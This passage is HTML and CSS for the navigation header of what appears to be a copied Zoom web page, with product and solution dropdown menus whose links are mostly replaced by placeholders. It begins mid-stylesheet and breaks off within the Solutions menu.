        border-top: 1px solid #e4f0ff;
      }
      .articleSectionMobile {
        display: none;
        width: 100%;
        line-height: 1;
        padding-top: 10px;
        margin-bottom: 20px;
      }
      .articleSubSectionNew {
        width: 50%;
        display: flex;
        align-items: center;
      }
      .articleSubSectionNew ul {
        padding: 0 !important;
      }
      .articleSubSectionNew img {
        margin-right: 20px;
      }
      .articleSubSectionNew h3 {
        font-weight: bold;
        font-size: 20px;
        line-height: 24px;
        color: #232333;
        margin: 0 0 10px 0;
      }
      .articleSubSectionNew p {
        font-weight: 400;
        font-size: 14px;
        line-height: 17px;
        margin: -5px 0 10px 0;
        color: black;
      }
      .articleSubSectionNew a {
        color: #0b5cff !important;
        text-decoration: none !important;
        font-size: 15px;
        line-height: 24px;
        padding: 0 !important;
        margin-top: -5px;
        text-transform: none;
      }
      .articleSubSectionNew .desktopView {
        display: block;
      }
      .articleSubSectionNew .mobileAndTabView {
        display: none;
      }
      @media screen and (max-width: 767px) {
        #navbar > #navbar-left .arrow {
          position: relative;
        }
        #header_outer .navbar-nav li > button {
          text-align: left;
          width: 95%;
        }
        #navbar > ul.nav.navbar-nav.navbar-right {
          height: auto;
          position: absolute;
          bottom: 10px;
          width: 100%;
        }
        #header_container
          #navbar
          ul.nav.navbar-nav.visible-xs.mobile-newmenu-items {
          margin-top: 0;
        }
        #navbar > #navbar-left .arrow {
          float: right;
        }
        #navbar-left .top-pricing-new {
          margin-top: 10px;
        }
        .showContent {
          display: block !important;
        }
        #header_outer .navbar-nav > li > a:hover {
          background: 0;
        }
        .navbar-collapse {
          background: white !important;
          max-height: 1000px !important;
        }
        .mobile-newmenu-items {
          margin-top: 0;
        }
        .navbar-nav > li > a {
          color: #666484 !important;
          font-weight: 100;
        }
        .mobile-newmenu-items > li > a {
          line-height: 1em !important;
          font-size: 16px;
        }
        .mobile-newmenu-items > li > a > span {
          display: none;
        }
        #navbar-left {
          display: block !important;
          overflow: scroll;
          height: calc(var(--vh, 1vh) * 100 - 250px) !important;
          scrollbar-width: none;
        }
        .mainSection {
          border-bottom: 0;
          min-height: 0;
        }
        .mobile-newnav-dropdown-divider {
          display: block;
          width: auto;
        }
        .resourceDescription,
        .solutionsDescription,
        .solutionsLinkDesc,
        .productsLinkDesc,
        #discoverZoom {
          display: none;
        }
        .productsDescription {
          line-height: 15px;
          margin: 10px 0 10px 0;
        }
        #exploreZoomOne {
          font-weight: 600;
          border-bottom: 0;
          font-size: 14px;
        }
        .productSectionLinks li a,
        .solutionSectionLinks li a,
        .resourceSectionLinks li a {
          line-height: 35px;
        }
        .navbar-nav > li > .dropdown-menu {
          border-radius: 0;
          padding-bottom: 25px;
        }
        .nav-dropdown-menu-contents {
          margin-left: 50px;
        }
        .dropdown-menu .navBarMenuItems {
          flex-direction: column;
          padding-top: 15px;
          margin-left: -60px;
        }
        .dropdown-menu .articleSectionMobile {
          flex-direction: column;
          display: block;
          width: auto;
          height: 130px;
          border-radius: 10px;
          margin-left: 40px;
          background-color: #f6f7f9;
        }
        .dropdown-menu .articleSection,
        .articleSubSectionNew p,
        .articleSubSectionNew .desktopView {
          display: none;
        }
        .articleSubSectionNew .mobileAndTabView {
          display: block;
          text-transform: none;
        }
        .dropdown-menu .resourceSectionLinks,
        .dropdown-menu .solutionSectionLinks {
          flex-direction: column;
          margin-left: 10px !important;
        }
        .dropdown-menu .resourceDescription {
          padding-left: 60px;
          width: 80vw;
        }
        .dropdown-menu .resourceDescription,
        .dropdown-menu .articleSubSectionNew p {
          text-transform: initial;
        }
        .dropdown-menu .navBarMenuItems {
          background: #fff;
        }
        .dropdown-menu .articleSubSectionNew img {
          width: 50px;
          height: 50px;
          object-fit: cover;
        }
        .dropdown-menu .articleSubSectionNew {
          width: 80vw;
          margin-bottom: 10px;
          margin-left: 10px;
        }
        .navBarMenuItems > .main_col {
          width: 60vw;
          margin-left: 50px;
        }
        .productsDescription {
          font-size: 14px;
          display: none;
        }
        #products > .dropdown-menu > .navBarMenuItems > .main_col {
          width: 90vw;
          margin-left: 40px;
          padding-left: 10px;
        }
        #products > .dropdown-menu > .navBarMenuItems {
          padding: 10px 10px 0 20px;
          width: 10px;
        }
        #products > .dropdown-menu > .navBarMenuItems > .main_col.first_column {
          margin-left: 40px;
          border-top-right-radius: 20px;
          border-bottom-right-radius: 20px;
          padding: 10px;
        }
        .navbar-nav > li.dropdown .dropdown-menu:before {
          border-right: 7px solid transparent;
          border-bottom: 7px solid #eee;
          border-left: 7px solid transparent;
          border-bottom-color: rgba(0, 0, 0, 0);
          position: absolute;
          bottom: 9px;
          left: 0;
          right: calc(20% - 10px);
          margin: 0 auto;
          width: 0;
          visibility: hidden;
        }
        .navbar-nav > li.dropdown .dropdown-menu:after {
          border-right: 7px solid transparent;
          border-bottom: 7px solid #eee;
          border-left: 7px solid transparent;
          border-bottom-color: rgba(0, 0, 0, 0);
          position: absolute;
          left: 0;
          right: calc(20% - 10px);
          margin: 0 auto;
          visibility: hidden;
        }
        .articleSubSectionNew {
          align-items: center;
        }
        #products > .dropdown-menu > .navBarMenuItems > .main_col.second_column,
        #products > .dropdown-menu > .navBarMenuItems > .main_col.third_column,
        #products
          > .dropdown-menu
          > .navBarMenuItems
          > .main_col.fourth_column {
          margin-top: 15px;
        }
        #products .first_column .mainSection {
          border-bottom: none !important;
        }
      }
      @media screen and (min-width: 1025px) {
        #navbar-left {
          display: flex;
          align-items: center;
        }
      }
      #black-topbar.new-black-topbar ul > li > a {
        text-transform: none;
        font-size: 14px;
      }
      #black-topbar.new-black-topbar {
        background-color: #00031f;
      }
      .arrow > img {
        transition: all 0.25s;
        transform: rotate(0deg);
      }
      .arrow {
        transition: all 0.25s;
      }
      .whiteBarArrow.arrow {
        left: 0;
        visibility: hidden;
        opacity: 0;
      }
      #navbar-left::-webkit-scrollbar {
        width: 0;
        height: 0;
      }
      @media screen and (min-width: 768px) and (max-width: 1024px) {
        #navbar-left > li.dropdown > div.dropdown-menu {
          position: static;
        }
        #navbar-left {
          width: 100%;
          overflow: scroll;
          height: calc(100vh - 450px) !important;
          -webkit-overflow-scrolling: touch;
        }
        .searchBoxContainer {
          display: none !important;
        }
        #tabletToggle {
          display: block;
        }
        .whiteBarArrow.arrow {
          position: absolute;
          visibility: visible;
          opacity: 1;
          left: 95%;
        }
        #navbar-left > li {
          float: none;
        }
        #navbar-left > li > a {
          display: inline-block;
          width: 100%;
        }
        .navBarMenuItems > .main_col:nth-child(even) {
          margin-right: 10px;
        }
        #products > .dropdown-menu {
          padding-left: 20px;
        }
        .mainSection {
          min-height: 130px;
        }
        .productsLinkDesc,
        .solutionsLinkDesc {
          display: none;
        }
        #products > .dropdown-menu > .navBarMenuItems > .main_col.first_column {
          padding: 10px;
          border-top-right-radius: 20px;
          border-bottom-right-radius: 20px;
        }
        #products > .dropdown-menu > .navBarMenuItems > .main_col.second_column,
        #products > .dropdown-menu > .navBarMenuItems > .main_col.third_column,
        #products
          > .dropdown-menu
          > .navBarMenuItems
          > .main_col.fourth_column {
          margin-top: 10px;
        }
        .nav-dropdown-menu-contents {
          flex-wrap: wrap;
          display: grid;
          grid-column-gap: 20px;
          grid-row-gap: 30px;
          grid-template-columns: repeat(2, 1fr);
        }
        .articleSection {
          width: -webkit-fill-available;
          border-radius: 10px;
          padding: 5px 10px 5px 10px;
        }
        .articleSubSectionNew a,
        .articleSubSectionNew p {
          display: none !important;
        }
        .articleSubSectionNew img {
          width: 60px;
          height: 60px;
        }
        .articleSubSectionNew .desktopView {
          display: none;
        }
        .articleSubSectionNew .mobileAndTabView {
          display: block !important;
          text-transform: none;
        }
        #navbar-left > #resources > .dropdown-menu {
          padding-bottom: 0;
        }
        #navbar-left > #products > .dropdown-menu {
          padding-bottom: 20px;
        }
        #navbar-left > #solutions > .dropdown-menu {
          padding-bottom: 20px;
        }
        .productSectionLinks,
        .solutionSectionLinks,
        .resourceSectionLinks {
          line-height: 2;
        }
      }
      @media screen and (max-width: 768px) {
        .whiteBarArrow.arrow {
          visibility: visible;
          opacity: 1;
        }
      }
      #navbar ul#mobileButtons {
        display: flex !important;
        align-content: space-between;
        box-shadow: 0 0 1px rgb(0 0 0 / 60%);
        padding-top: 10px;
        padding-bottom: 10px;
        margin-top: 10px;
      }
      li.signin:empty {
        display: none;
      }
      #header nav.container button.navbar-toggle.collapsed > span {
        transform: rotate(0deg) !important;
        top: 0 !important;
        right: 0 !important;
        width: 22px !important;
        opacity: 100% !important;
        transition: 0.25s ease-in-out !important;
      }
      #header nav.container button.navbar-toggle > span:nth-child(2) {
        position: relative;
        transform: rotate(-45deg);
        transform-origin: right center;
        top: -4px;
        transition: 0.25s ease-in-out !important;
      }
      .navbar-default #tabletToggle.navbar-toggle:hover,
      .navbar-default #tabletToggle.navbar-toggle:focus {
        background-color: white;
      }
      #header nav.container button.navbar-toggle > span:nth-child(3) {
        width: 0;
        opacity: 0;
        transition: 0.25s ease-in-out !important;
      }
      #header nav.container button.navbar-toggle > span:nth-child(4) {
        position: relative;
        transform-origin: right center;
        transform: rotate(45deg);
        top: 0;
        transition: 0.25s ease-in-out !important;
      }
      #header_container
        #navbar
        ul.nav.navbar-nav.visible-xs.mobile-newmenu-items
        > li {
        text-transform: none;
      }
      @media screen and (min-width: 1025px) {
        #searchWrapperWhiteBar {
          display: none !important;
        }
        #products > .dropdown-menu {
          left: -150px;
          padding-top: 0;
        }
        #solutions > .dropdown-menu {
          left: -260px;
        }
        #solutions > .dropdown-menu > .navBarMenuItems {
          padding: 20px 20px 20px 20px;
        }
        #resources > .dropdown-menu > .navBarMenuItems {
          padding: 20px 20px 0 20px;
        }
        .articleSection {
          margin-left: -20px;
        }
        span.columnTitle,
        .articleSubSectionNew h3 {
          font-size: 16px;
        }
        .productSectionLinks li a,
        .solutionSectionLinks li a,
        .resourceSectionLinks li a {
          font-size: 14px !important;
        }
        .productsLinkDesc,
        .solutionsLinkDesc {
          font-size: 12px;
        }
        .articleSubSectionNew a {
          font-size: 14px;
        }
        .articleSubSectionNew img {
          height: 75px;
          width: 75px;
        }
        .topnav-product-icon {
          width: 28px !important;
          height: 28px !important;
        }
        #resources > .dropdown-menu {
          left: -380px;
        }
        .nav-dropdown-menu-contents {
          display: flex;
          flex-direction: row;
        }
      }
      @media (min-width: 1440px) {
        #resources > .dropdown-menu,
        #solutions > .dropdown-menu,
        #products > .dropdown-menu {
          width: 1400px !important;
        }
      }
      @media (min-width: 1240px) {
        #resources > .dropdown-menu,
        #solutions > .dropdown-menu,
        #products > .dropdown-menu {
          width: 1200px;
        }
      }
      @media screen and (min-width: 1130px) and (max-width: 1239px) {
        #resources > .dropdown-menu,
        #solutions > .dropdown-menu,
        #products > .dropdown-menu {
          width: 1100px;
        }
      }
      @media screen and (min-width: 1025px) and (max-width: 1129px) {
        #resources > .dropdown-menu {
          width: 1000px;
          left: -370px;
        }
        #solutions > .dropdown-menu,
        #products > .dropdown-menu {
          width: 1000px;
        }
      }
      .topnav-product-icon {
        height: 35px;
        width: 35px;
        flex-shrink: 0;
        object-fit: none;
        margin-right: 10px;
      }
      @media screen and (max-width: 1024px) {
        #navbar-left > li {
          border-bottom: 1px solid #e1e1e6;
        }
        .dropdown-menu .columnTitle {
          font-size: 16px;
          text-transform: none;
        }
      }
      #navbar-left .top-pricing-new:hover {
        color: #0e72ed !important;
        text-decoration: none;
      }
      #navbar-left .search-new:hover {
        text-decoration: none;
      }
      #navbar-left > li {
        margin: 0 15px;
      }
      #navbar-left > li:nth-child(5) {
        border-bottom: none !important;
      }
      #navbar-left > li > button:hover,
      #navbar-left > li > a:hover {
        color: #0e72ed;
      }
      #products .first_column .mainSection {
        border-bottom: 1px solid #666484;
      }
      ul.list-inline.pull-right.visible-xs > li > a {
        font-size: 16px;
        text-decoration: none;
      }
      @media screen and (min-width: 1025px) and (max-width: 1150px) {
        html:lang(en-US) .loggedin #btnNewResources,
        html:lang(en-US) .loggedin #btnNewProducts,
        html:lang(en-US) .loggedin #btnNewSolutions,
        html:lang(en-US) .loggedin .top-pricing-new,
        html:lang(en-US) .loggedin #btnJoinMeeting,
        html:lang(en-US) .loggedin #btnLogInHostMeeting,
        html:lang(en-US) .loggedin #btnWhiteboards,
        html:lang(en-US) .loggedin .link-myaccount {
          font-size: 14px !important;
        }
      }
      .searchButton {
        display: flex;
        flex-direction: row;
        font-size: 14px;
        color: #fff;
        font-weight: 300;
        text-decoration: none;
        cursor: pointer;
        align-items: center;
      }
      .searchButton .searchButtonIcon {
        width: 25px;
        height: 30px;
        padding-right: 5px;
      }
      #searchWrapperWhiteBar {
        margin: 0 15px;
        border-bottom: 1px solid #e1e1e6;
        display: flex;
        flex-direction: row;
        cursor: pointer;
      }
      #searchBox {
        flex-direction: row;
        background-color: white;
        border-radius: 5px;
        justify-content: center;
        width: 300px;
        display: none;
      }
      .searchIcon,
      .cancelSearchIcon {
        width: 30px;
        height: 30px;
        color: #747487;
        cursor: pointer;
      }
      .searchIcon {
        padding-left: 12px;
      }
      div#searchBox input[type="text"] {
        font-size: 14px;
        background: white;
        width: 80%;
        height: 30px;
        border: 0;
        padding-left: 10px;
        font-weight: 400;
        color: #67768b;
      }
      .bi.bi-search {
        color: #747487;
      }
      .bi.bi-x {
        border-top-right-radius: 5px;
        border-bottom-right-radius: 5px;
        background-color: white;
      }
      #searchWrapperWhiteBar .searchButtonIcon {
        margin: 2px;
      }
      .searchBoxContainer {
        display: flex;
        flex-direction: row;
      }
      div#searchBox input:focus {
        outline: 0;
      }
      #black-topbar ul {
        display: flex;
        justify-content: center;
        align-items: center;
      }
      ul.productSectionLinks img.virtual-meetings {
        object-position: -27px -37px;
      }
      ul.productSectionLinks img.team-chat {
        object-position: -27px -110px;
      }
      ul.productSectionLinks img.voip-phone-system {
        object-position: -27px -181px;
      }
      ul.productSectionLinks img.online-whiteboard {
        object-position: -27px -253px;
      }
      ul.productSectionLinks img.conversation-intelligence {
        object-position: -99px -253px;
      }
      ul.productSectionLinks img.email-calendar {
        object-position: -27px -325px;
      }
      ul.productSectionLinks img.conference-room-system {
        object-position: -99px -37px;
      }
      ul.productSectionLinks img.connected-conference-room {
        object-position: -99px -109px;
      }
      ul.productSectionLinks img.workplaces {
        object-position: -99px -181px;
      }
      ul.productSectionLinks img.event-platform {
        object-position: -171px -37px;
      }
      ul.productSectionLinks img.single-session-events {
        object-position: -171px -109px;
      }
      ul.productSectionLinks img.online-webinars {
        object-position: -171px -181px;
      }
      ul.productSectionLinks img.community-events {
        object-position: -171px -253px;
      }
      ul.productSectionLinks img.cloud-contract-center {
        object-position: -243px -37px;
      }
      ul.productSectionLinks img.virtual-agent {
        object-position: -243px -109px;
      }
    </style>
  </head>
  <body>


   

    <!-- the second page starting point -->

    <div style="" id="next">
      <div id="header_container" class="loggedin zoom-newhd">
        <div id="header_outer" class="container clearfix home zoom-newhd">
          <div id="header" class="navbar navbar-default navbar-fixed-top">
            <nav
              id="black-topbar"
              class="new-black-topbar hidden-xs noanimate"
              role="navigation"
              aria-label="Resources"
            >
              <div class="container">
                <ul class="list-inline pull-right" role="menubar">
                  <li role="button">
                    <div class="searchBoxContainer">
                      <div
                        class="searchButton"
                        aria-expanded="false"
                        aria-controls="searchBox"
                        tabindex="0"
                      >
                        <span class="searchButtonIcon"
                          ><svg
                            xmlns="http://www.w3.org/2000/svg"
                            focusable="false"
                            enable-background="new 0 0 20 20"
                            viewBox="0 0 20 20"
                            role="img"
                          >
                            <g fill="currentColor">
                              <path
                                d="m8.368 16.736c-4.614 0-8.368-3.754-8.368-8.368s3.754-8.368 8.368-8.368 8.368 3.754 8.368 8.368-3.754 8.368-8.368 8.368m0-14.161c-3.195 0-5.793 2.599-5.793 5.793s2.599 5.793 5.793 5.793 5.793-2.599 5.793-5.793-2.599-5.793-5.793-5.793"
                              ></path>
                              <path
                                d="m18.713 20c-.329 0-.659-.126-.91-.377l-4.552-4.551c-.503-.503-.503-1.318 0-1.82.503-.503 1.318-.503 1.82 0l4.552 4.551c.503.503.503 1.318 0 1.82-.252.251-.581.377-.91.377"
                              ></path>
                            </g></svg
                        ></span>
                        <div id="searchText">Search</div>
                      </div>
                      <div id="searchBox">
                        <span
                          class="searchIcon"
                          aria-label="Search"
                          tabindex="-1"
                          ><svg
                            xmlns="#"
                            width="16"
                            height="16"
                            fill="currentColor"
                            class="bi bi-search"
                            viewBox="0 0 16 16"
                          >
                            <path
                              d="M11.742 10.344a6.5 6.5 0 1 0-1.397 1.398h-.001c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1zM12 6.5a5.5 5.5 0 1 1-11 0 5.5 5.5 0 0 1 11 0z"
                            ></path></svg></span
                        ><input
                          id="searchInput"
                          type="text"
                          role="searchbox"
                          aria-label="Search"
                          placeholder="Enter search here..."
                          data-url="#"
                        /><span
                          class="cancelSearchIcon"
                          aria-label="Cancel Search"
                          tabindex="-1"
                          ><svg
                            xmlns="#"
                            width="30"
                            height="30"
                            fill="currentColor"
                            class="bi bi-x"
                            viewBox="0 0 16 16"
                            style="margin: 0px"
                          >
                            <path
                              d="M4.646 4.646a.5.5 0 0 1 .708 0L8 7.293l2.646-2.647a.5.5 0 0 1 .708.708L8.707 8l2.647 2.646a.5.5 0 0 1-.708.708L8 8.707l-2.646 2.647a.5.5 0 0 1-.708-.708L7.293 8 4.646 5.354a.5.5 0 0 1 0-.708z"
                            ></path></svg
                        ></span>
                      </div>
                    </div>
                  </li>
                  <li role="link">
                    <a
                      role="menuitem"
                      href="#"
                      target="_blank"
                      tracking-id="headerSupport"
                      tracking-category="NavHeader"
                      >Support</a
                    >
                  </li>
                  <li role="button">
                    <a
                      role="menuitem"
                      href="tel:1.888.799.9666"
                      aria-label="Call 1.888.799.9666"
                      class="support-phone"
                      >1.888.799.9666</a
                    >
                  </li>
                  <li role="none">
                    <span
                      style="border-left: 1px solid rgba(255, 255, 255, 0.25)"
                    ></span>
                  </li>
                  <li role="link">
                    <a
                      role="menuitem"
                      href="#"
                      tracking-id="headerDemo"
                      tracking-category="NavHeader"
                      >Request a Demo</a
                    >
                  </li>
                </ul>
              </div>
            </nav>
            <nav class="container" role="banner">
              <div class="navbar-header">
                <button
                  aria-controls="navbar"
                  aria-expanded="false"
                  data-target="#navbar"
                  data-toggle="collapse"
                  class="navbar-toggle collapsed"
                  type="button"
                  value="navbar"
                >
                  <span class="sr-only">Toggle navigation</span
                  ><span class="icon-bar"></span><span class="icon-bar"></span
                  ><span class="icon-bar"></span>
                </button>
                <ul
                  class="list-inline pull-right visible-xs"
                  style="line-height: 50px"
                >
                  <li style="padding-right: 15px">
                    <a href="#" target="_blank">Join</a>
                  </li>
                  <li style="padding-right: 15px">
                    <a id="mobile-host-btn" href="#" target="_blank">Host</a>
                  </li>
                </ul>
                <div class="left">
                  <a class="imglink" href="#" aria-label="Zoom Home Page"
                    ><img
                      class="logo"
                      src="https://st2.zoom.us/static/6.3.24732/image/new/topNav/Zoom_logo.svg"
                      alt="Zoom Logo"
                  /></a>
                </div>
              </div>
              <div>
                <div class="navbar-collapse collapse" id="navbar">
                  <button
                    id="tabletToggle"
                    aria-controls="navbar-left"
                    aria-expanded="false"
                    data-target="#navbar-left"
                    data-toggle="collapse"
                    class="navbar-toggle collapsed hidden-xs"
                    type="button"
                    value="navbar"
                  >
                    <span class="sr-only">Toggle navigation</span
                    ><span class="icon-bar"></span><span class="icon-bar"></span
                    ><span class="icon-bar"></span>
                  </button>
                  <ul
                    id="navbar-left"
                    class="nav navbar-nav collapse"
                    role="navigation"
                    aria-label="product information"
                  >
                    <div id="searchWrapperWhiteBar">
                      <span class="searchButtonIcon"
                        ><a class="search-new" href="#"
                          ><svg
                            xmlns="http://www.w3.org/2000/svg"
                            width="16"
                            height="16"
                            fill="currentColor"
                            class="bi bi-search"
                            viewBox="0 0 16 16"
                          >
                            <path
                              d="M11.742 10.344a6.5 6.5 0 1 0-1.397 1.398h-.001c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1zM12 6.5a5.5 5.5 0 1 1-11 0 5.5 5.5 0 0 1 11 0z"
                            ></path></svg></a
                      ></span>
                      <li role="link">
                        <a class="search-new" href="#">Search</a>
                      </li>
                    </div>
                    <li
                      role="menuitem"
                      class="dropdown new-products"
                      id="products"
                      aria-haspopup="true"
                    >
                      <button
                        id="btnNewProducts"
                        data-toggle="dropdown"
                        aria-expanded="false"
                        class="highLight"
                      >
                        Products<span class="whiteBarArrow arrow"
                          ><img alt="" src="#"
                        /></span>
                      </button>
                      <div
                        class="dropdown-menu top-nav-menu-items"
                        role="menubar"
                      >
                        <div class="navBarMenuItems nav-dropdown-menu-contents">
                          <div class="main_col first_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Zoom One</span
                              >
                              <p class="productsDescription showContent">
                                Everything you need to work together, all in one
                                place.
                              </p>
                              <p>
                                <a href="#" id="exploreZoomOne"
                                  >Explore Zoom One’s Collaboration Tools</a
                                >
                              </p>
                            </div>
                            <ul class="productSectionLinks">
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon virtual-meetings"
                                  src="#"
                                  alt="Virtual Meetings"
                                />
                                <div>
                                  <a role="menuitem" href="#"
                                    >Virtual Meetings</a
                                  >
                                  <p class="productsLinkDesc">
                                    Connect virtually from anywhere with Zoom
                                    Meetings
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon team-chat"
                                  src="#"
                                  alt="Team Chat"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Team Chat</a
                                  >
                                  <p class="productsLinkDesc">
                                    Collaborate together with Zoom Team Chat
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon voip-phone-system"
                                  src="#"
                                  alt="VoIP Phone System"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >VoIP Phone System</a
                                  >
                                  <p class="productsLinkDesc">
                                    Call the world with Zoom Phone
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon online-whiteboard"
                                  src="#"
                                  alt="Online Whiteboard"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Online Whiteboard</a
                                  >
                                  <p class="productsLinkDesc">
                                    Create and brainstorm with Zoom Whiteboard
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon conversation-intelligence"
                                  src="#"
                                  alt="Conversation Intelligence"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Conversation Intelligence</a
                                  >
                                  <p class="productsLinkDesc">
                                    Rich conversation analytics to improve sales
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon email-calendar"
                                  src="#"
                                  alt="email-calendar"
                                />
                                <div>
                                  <a role="menuitem" href="#"
                                    >Email and Calendar</a
                                  >
                                  <p class="productsLinkDesc">
                                    Send and receive messages and calendar
                                    invitations
                                  </p>
                                </div>
                              </li>
                            </ul>
                          </div>
                          <div class="main_col second_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Zoom Spaces</span
                              >
                              <p class="productsDescription">
                                Innovative video solutions for every meeting
                                space.
                              </p>
                            </div>
                            <ul class="productSectionLinks">
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon conference-room-system"
                                  src="#"
                                  alt="Conference Room Systems"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Conference Room Systems</a
                                  >
                                  <p class="productsLinkDesc">
                                    Bring meeting spaces online with Zoom Rooms
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon connected-conference-room"
                                  src="#"
                                  alt="Connected Conference Rooms"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Connected Conference Rooms</a
                                  >
                                  <p class="productsLinkDesc">
                                    Conference Room Connector links existing
                                    rooms to Zoom
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon workplaces"
                                  src="#"
                                  alt="Workspaces"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Workspaces</a
                                  >
                                  <p class="productsLinkDesc">
                                    Innovative solutions for every space
                                  </p>
                                </div>
                              </li>
                            </ul>
                            <hr
                              role="presentation"
                              class="mobile-newnav-dropdown-divider"
                            />
                          </div>
                          <div class="main_col third_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Zoom Events</span
                              >
                              <p class="productsDescription">
                                Solutions to host impactful virtual and hybrid
                                experiences.
                              </p>
                              <p>
                                <a href="#" id="findASolution"
                                  >Find a Solution for Every Event</a
                                >
                              </p>
                            </div>
                            <ul class="productSectionLinks">
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon event-platform"
                                  src="#"
                                  alt="Event Platform"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Event Platform</a
                                  >
                                  <p class="productsLinkDesc">
                                    Host hybrid and virtual events with Zoom
                                    Events
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon single-session-events"
                                  src="#"
                                  alt="Single-Session Events"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerEvents"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Single-Session Events</a
                                  >
                                  <p class="productsLinkDesc">
                                    Elevate your brand with single session
                                    events powered by Zoom Sessions
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon online-webinars"
                                  src="#"
                                  alt="Online Webinars"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Online Webinars</a
                                  >
                                  <p class="productsLinkDesc">
                                    Broadcast at scale with Zoom Webinars
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon community-events"
                                  src="#"
                                  alt="Community Events"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Community Events</a
                                  >
                                  <p class="productsLinkDesc">
                                    Host and attend classes, group events, and
                                    more OnZoom
                                  </p>
                                </div>
                              </li>
                            </ul>
                            <hr
                              role="presentation"
                              class="mobile-newnav-dropdown-divider"
                            />
                          </div>
                          <div class="main_col fourth_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Zoom Contact Center</span
                              >
                              <p class="productsDescription">
                                An omnichannel cloud solution optimized for
                                video.
                              </p>
                            </div>
                            <ul class="productSectionLinks">
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon cloud-contract-center"
                                  src="#"
                                  alt="Cloud Contact Center"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Cloud Contact Center</a
                                  >
                                  <p class="productsLinkDesc">
                                    Engage customers with Zoom Contact Center
                                  </p>
                                </div>
                              </li>
                              <li class="productSubSection">
                                <img
                                  class="topnav-product-icon virtual-agent"
                                  src="#"
                                  alt="Virtual Agent"
                                />
                                <div>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerVirtualAgent"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Virtual Agent</a
                                  >
                                  <p class="productsLinkDesc">
                                    Deliver intelligent support with
                                    conversational AI
                                  </p>
                                </div>
                              </li>
                            </ul>
                          </div>
                        </div>
                      </div>
                    </li>
                    <li
                      role="menuitem"
                      class="dropdown new-solutions"
                      id="solutions"
                      aria-haspopup="true"
                    >
                      <button
                        id="btnNewSolutions"
                        data-toggle="dropdown"
                        aria-expanded="false"
                      >
                        Solutions<span class="whiteBarArrow arrow"
                          ><img alt="" src="#"
                        /></span>
                      </button>
                      <div
                        class="dropdown-menu top-nav-menu-items"
                        role="menubar"
                      >
                        <div class="navBarMenuItems nav-dropdown-menu-contents">
                          <div class="main_col first_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Industries</span
                              >
                              <p class="solutionsDescription">
                                Zoom solutions elevate collaboration across
                                vertical use cases.
                              </p>
                              <p>
                                <a href="#" id="discoverZoom"
                                  >Discover Zoom Industry Solutions</a
                                >
                              </p>
                            </div>
                            <ul class="solutionSectionLinks">
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Education</a
                                >
                                <p class="solutionsLinkDesc">
                                  Enabling exciting new ways to teach, learn,
                                  and connect globally
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Financial Services</a
                                >
                                <p class="solutionsLinkDesc">
                                  Transforming client engagement and employee
                                  experiences
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
